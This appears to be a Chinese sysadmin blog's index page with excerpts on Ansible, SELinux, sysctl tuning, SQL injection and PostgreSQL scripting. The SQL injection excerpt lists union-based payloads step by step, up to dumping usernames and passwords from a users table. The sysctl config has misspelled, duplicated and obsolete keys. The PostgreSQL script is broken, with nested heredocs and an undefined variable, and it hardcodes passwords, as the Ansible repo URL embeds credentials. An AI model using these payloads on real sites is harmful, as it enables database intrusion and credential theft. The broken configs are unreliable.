Ansible自动化之批量更新代码

剧本详情

请根据实际情况进行修改剧本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
---
- hosts: "{{ hosts }}"
remote_user: "{{ user }}"
gather_facts: true
become: yes
become_user: root
become_method: sudo

tasks:
- name: git pull
git:
repo: 'https://gituser:gitpasswd@github.com/git/git.git'
dest: /data/servers/webapps
update: yes
force: no
version: master

Linux常用命令速查

Linux常用命令速查


注明:这只是为了作者能够在日常中快速查找使用的命令,实时更新!

SELinux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ yum -y install policycoreutils-python.x86_64
# 安装Semanage工具(用来管理SELinux的工具)

$ chcon -R -t httpd_sys_rw_content_t /data/webapps/
# 把目录或文件的策略类型改成 httpd_sys_rw_content_t,一般是代码SELinux权限导致前端显示403可以执行这条命令

$ restorecon <file>
# 恢复文件SELinux上下文
# -i:忽略不存在的文件。
# -f:infilename 文件 infilename 中记录要处理的文件。
# -e:directory 排除目录。
# -R/-r:递归处理目录。
# -n:不改变文件标签。
# -o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。
# -v:将过程显示到屏幕上。
# -F:强制恢复文件安全语境。

$ setsebool -P httpd_can_network_connect 1
# HTTP可以连接到网络(我之前部署WEB的时候HTTP连不数据库就敲了这条命令就可以了)

$ semanage port -l | grep http_port_t
$ semanage port -a -t http_port_t -p tcp <port>
$ semanage port -d -t http_port_t -p tcp <port>
# 查询SELinux的HTTP白名单规则
# 添加SELinux的HTTP白名单规则
# 删除SELinux的HTTP白名单规则

$ chcon --reference=<src> <obj>
# 参照源对象修改目标对象SELinux上下文
# -f:强制执行
# -R:递归修改

$ semanage permissive -a redis_t
# 指定该特定的程序运行Permissive,其他仍然运行Enforcing模式。
# 当时我Redis启动不起来,报错Creating Server TCP listening socket 127.0.0.1:6379: bind: Permission denied;我就执行了这条命令就可以了

未完待续···
Read More

Ansible自动化之批量推送文件

[Ansible自动化]之批量推送文件


Ansible中文权威指南 Ansible
Ansible-Playbooks中文指南 Ansible-Playbooks


剧本正文

请注意:(以下剧本存在一些变量,请根据实际情况使用或修改,请根据YML格式进行修改)

剧本目录详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/etc/ansible/
├── ansible.cfg
── hosts #我这边没有使用这里存放hosts主机
├── inventory #这里是存放我hosts主机的目录
│ └── aliyun #例如:阿里云服务器
│ ├── zabbix #存放zabbix主机清单的目录
│ └── webapps #存放web的主机清单目录
│ └── hosts #webapps主机清单
├── keys #存放秘钥的目录
│ └── ssh #存放ssh秘钥的目录
│ ├── centos_id_rsa.pub #远程管理用户公钥
│ └── centos-key.pem #远程管理用户秘钥
├── roles #剧本存放的地方
│ ├── sync #sync剧本
│ │ ├── files #需要传输的文件存放目录,如果你要传输一些文件可以放到这
│ │ │ └── music.mp3
│ ├── tasks #任务
│ │ │ ├── main.yml #
│ │ │ └── sync.yml
│ │ └── templates #这里存放模板的,例如我要批量推送nginx.conf就把配置好的nginx配置文件改成j2后缀的文件放在这
│ │ └── webapps.j2
└── vars
── sync.yml
Read More

Systctl配置调优参考

Sysctl配置调优参考

详情请参考 Sysctl中文参考指南


线上Web服务器配置参考(每天3亿PV量)

注明:如果你要应用该配置文件,请慎重!该配置文件未经核实有效性,仅供参考!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
net.ipv4.conf.lo.arp_ignore = 1
net.ipv4.conf.lo.arp_announce = 2
net.ipv4.conf.all.arp_ignore = 1
net.ipv4.conf.all.arp_announce = 2
net.ipv4.tcp_tw_reues = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_fin_timeout = 10

net.ipv4.tcp_max_syn_backlog = 20000
net.core.netdev_max_backlog = 32768
net.core.somaxconn = 32768

net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216

net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reues = 1

net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_max_orphans=3276800

net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 120
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_max_tw_buckets = 80000
net.ipv4.tcp_keepalive_time = 120
net.ipv4.tcp_keepalive_intvl = 15
net.ipv4.tcp_keepalive_probes = 5

net.ipv4.conf.lo.arp_ignore = 1
net.ipv4.conf.lo.arp_announce = 2
net.ipv4.conf.all.arp_ignore = 1
net.ipv4.conf.all.arp_announce = 2
Read More

Sysctl中文参考指南

Sysctl中文参考指南


仅供参考

注明:如果你要应用该配置文件,请慎重!

Read More

SQL注入之常见注入手段

0x01 联合查询注入

使用情景:页面有显示位。
优点:语句简单,快速。
缺点:条件苛刻。
原理:通过显示位,直接爆出所查信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.判断当前数据表中有几列:
?id=1' order by 数值 --+
2.查看显示位在第几列(这里假设共有3列):
?id=-1' union select 1,2,3 --+
3.显示当前数据库(假设显示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查询当前数据库的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查询所有数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查询某个数据库中的表 (此例为 db1 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查询某个表中的字段内容(此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+
Read More

Shell脚本创建PostgreSQL用户及数据库

PostgreSQL官方文档 PostgreSQL-10
PostgreSQL中文手册 PostgreSQL-10
PostgreSQL常见问题手册FAQ


[Shell]创建PostgreSQL用户及数据库

Shell脚本内容

请注意:(以下脚本存在一些变量,请根据实际情况使用或修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
# Create a Database Script by PostgreSQL.

DB_HOST="postgresql.com"
ADMIN_USER="postgres"
ADMIN_PASS="17s1x02kk^s"
ADMIN_DB="postgres"

DEST_USER="test_user"
DEST_PASS="98kav1xz452@"
DEST_DATABASE="test_db"

psql -U $ADMIN_USER -W $ADMIN_PASS -h $DB_HOST -d $ADMIN_DATABASE << EOF 2>/dev/null
export PGPASSWORD=$ADMIN_PASS
psql -U $ADMIN_USER -h $DB_HOST -d $ADMIN_DB << EOF
CREATE USER ${DEST_USER} WITH PASSWORD '${DEST_PASS}';
CREATE DATABASE $DEST_DATABASE;
GRANT ALL PRIVILEGES ON DATABASE $DEST_DATABASE TO ${DEST_USER};
ALTER SCHEMA public OWNER to ${DEST_USER};
alter database $DEST_DATABASE set timezone='PRC';
EOF
Read More